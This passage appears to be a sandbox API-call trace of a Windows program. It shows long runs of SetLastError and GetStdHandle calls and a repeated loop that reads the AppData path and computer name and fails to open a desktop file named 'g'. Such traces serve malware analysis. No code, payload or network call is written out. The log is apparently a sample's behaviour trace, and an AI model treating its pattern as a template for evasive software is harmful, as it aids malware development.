SetLastError (dwErrCode=0x0) [0222.775] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.776] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.776] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.776] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.776] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.776] GetLastError () returned 0x0 [0222.776] SetLastError (dwErrCode=0x0) [0222.777] GetLastError () returned 0x0 [0222.777] SetLastError (dwErrCode=0x0) [0222.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x190) returned 0x6e38e0 [0222.777] GetLastError () returned 0x0 [0222.777] SetLastError (dwErrCode=0x0) [0222.777] GetLastError () returned 0x0 [0222.777] SetLastError (dwErrCode=0x0) [0222.777] SetLastError (dwErrCode=0x0) [0222.777] SetLastError (dwErrCode=0x0) [0222.777] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.778] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.779] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.780] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.783] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.784] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.785] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.786] SetLastError (dwErrCode=0x0) [0222.787] SetLastError (dwErrCode=0x0) [0222.787] IsWindowEnabled (hWnd=0x0) returned 0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0222.788] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xc, uEnable=0x0) returned 1 [0222.789] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0222.789] FillRect (hDC=0x0, lprc=0x19f520, hbr=0x0) returned 0 [0222.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6448 [0222.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6460 [0222.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6478 [0222.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6490 [0222.789] GetProcAddress (hModule=0x77bb0000, lpProcName="memcpy") returned 0x77c27b00 [0222.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d62f8 [0222.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6460 | out: hHeap=0x6b0000) returned 1 [0222.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6478 | out: hHeap=0x6b0000) returned 1 [0222.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6490 | out: hHeap=0x6b0000) returned 1 [0222.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d62f8 | out: hHeap=0x6b0000) returned 1 [0222.789] GetStockObject (i=13) returned 0x8a01c2 [0222.789] GetObjectA (in: h=0x8a01c2, c=60, pv=0x499d14 | out: pv=0x499d14) returned 60 [0222.790] CreateAsyncBindCtx (in: reserved=0x0, pBSCb=0x0, pEFetc=0x0, ppBC=0x19f4bc*=0x0 | out: ppBC=0x19f4bc*=0x0) returned 0x80070057 [0222.790] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.796] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.796] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.796] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.796] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.796] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.796] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.796] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.796] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.796] CloseHandle (hObject=0x0) returned 0 [0222.796] CloseHandle (hObject=0xffffffff) returned 1 [0222.796] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.796] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.796] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.796] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.797] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.797] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.797] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.797] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.797] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.797] CloseHandle (hObject=0x0) returned 0 [0222.797] CloseHandle (hObject=0xffffffff) returned 1 [0222.797] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.797] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.797] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.797] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.797] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.797] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.797] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.797] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.797] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.797] CloseHandle (hObject=0x0) returned 0 [0222.797] CloseHandle (hObject=0xffffffff) returned 1 [0222.797] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.797] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.797] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.797] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.798] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.798] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.798] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.798] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.798] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.798] CloseHandle (hObject=0x0) returned 0 [0222.798] CloseHandle (hObject=0xffffffff) returned 1 [0222.798] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.798] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.798] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.798] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.798] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.798] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.798] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.798] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.798] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.798] CloseHandle (hObject=0x0) returned 0 [0222.799] CloseHandle (hObject=0xffffffff) returned 1 [0222.799] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.799] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.799] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.799] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.799] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.799] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.799] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.799] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.799] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.799] CloseHandle (hObject=0x0) returned 0 [0222.799] CloseHandle (hObject=0xffffffff) returned 1 [0222.799] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.799] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.799] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.799] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.799] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.799] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.799] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.799] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.799] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.799] CloseHandle (hObject=0x0) returned 0 [0222.799] CloseHandle (hObject=0xffffffff) returned 1 [0222.799] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.799] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.799] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.800] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.800] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.800] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.800] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.800] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.800] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.800] CloseHandle (hObject=0x0) returned 0 [0222.800] CloseHandle (hObject=0xffffffff) returned 1 [0222.800] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.800] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.800] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.800] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.800] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.800] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.800] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.800] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.800] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.800] CloseHandle (hObject=0x0) returned 0 [0222.800] CloseHandle (hObject=0xffffffff) returned 1 [0222.800] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.800] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.800] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.800] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.800] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.800] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.801] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.801] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.801] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.801] CloseHandle (hObject=0x0) returned 0 [0222.801] CloseHandle (hObject=0xffffffff) returned 1 [0222.801] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, 